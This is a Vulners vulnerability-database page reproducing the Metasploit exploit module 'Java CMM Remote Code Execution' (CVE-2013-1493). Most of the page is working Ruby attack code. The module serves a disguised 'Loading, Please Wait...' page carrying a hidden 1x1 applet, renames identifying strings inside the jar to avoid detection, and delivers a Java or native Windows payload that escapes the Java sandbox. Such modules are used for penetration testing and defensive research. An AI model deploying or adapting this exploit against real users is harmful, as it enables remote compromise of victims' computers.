Vulners
Lucene search
Java CMM Remote Code Execution
10
`##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java CMM Remote Code Execution',
'Description' => %q{
This module abuses the Color Management classes from a Java Applet to run
arbitrary Java code outside of the sandbox as exploited in the wild in February
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
systems. This exploit doesn't bypass click-to-play, so the user must accept the java
warning in order to run the malicious applet.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and Exploit
'juan vazquez' # Metasploit module (just ported the published exploit)
],
'References' =>
[
[ 'CVE', '2013-1493' ],
[ 'OSVDB', '90737' ],
[ 'BID', '58238' ],
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
[ 'URL', 'http://pastie.org/pastes/6581034' ]
],
'Platform' => [ 'win', 'java' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 01 2013'
))
end
def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")
@init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")
@leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")
@buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@init_class_name = rand_text_alpha("Init".length)
@init_class.gsub!("Init", @init_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@init_class_name}.class", @init_class)
jar.add_file("Leak.class", @leak_class)
jar.add_file("MyBufferedImage.class", @buffered_image_class)
jar.add_file("MyColorSpace.class", @color_space_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|
html += %Q|</applet></body></html>|
return html
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Mar 2013 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.91612